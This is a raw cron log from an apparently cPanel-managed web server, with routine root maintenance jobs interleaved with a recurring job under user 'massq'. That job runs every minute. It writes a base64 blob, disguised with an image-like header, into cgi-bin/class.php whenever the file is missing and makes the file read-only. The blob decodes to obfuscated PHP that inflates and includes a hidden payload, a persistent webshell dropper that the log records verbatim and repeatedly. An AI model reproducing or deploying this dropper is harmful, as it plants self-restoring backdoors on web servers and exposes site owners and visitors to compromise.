Sep 10 19:34:01 server CROND[24083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:34:01 server CROND[24084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:35:01 server CROND[24482]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:35:01 server CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:35:01 server CROND[24484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:35:01 server CROND[24487]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:35:01 server CROND[24492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:35:01 server CROND[24490]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 19:35:01 server CROND[24494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:35:01 server CROND[24493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:35:01 server CROND[24491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:36:01 server CROND[25330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:36:01 server CROND[25331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:36:01 server CROND[25332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:37:01 server CROND[25821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:37:01 server CROND[25820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:37:01 server CROND[25822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:38:01 server CROND[26201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:38:01 server CROND[26202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:38:01 server CROND[26203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:39:01 server CROND[26590]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 19:39:01 server CROND[26591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:39:01 server CROND[26592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:39:01 server CROND[26593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:40:01 server CROND[26981]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:40:01 server CROND[26984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:40:01 server CROND[26987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:40:01 server CROND[26991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:40:01 server CROND[26988]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:40:01 server CROND[26989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:40:01 server CROND[26992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:40:01 server CROND[26986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:41:01 server CROND[27813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:41:01 server CROND[27815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:41:01 server CROND[27814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:42:01 server CROND[28190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:42:01 server CROND[28191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:42:01 server CROND[28192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:42:01 server CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:43:01 server CROND[28575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:43:01 server CROND[28576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:43:01 server CROND[28578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:44:01 server CROND[28951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:44:01 server CROND[28952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:44:01 server CROND[28954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:45:01 server CROND[29431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:45:01 server CROND[29433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:45:01 server CROND[29435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:45:01 server CROND[29436]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:45:01 server CROND[29437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
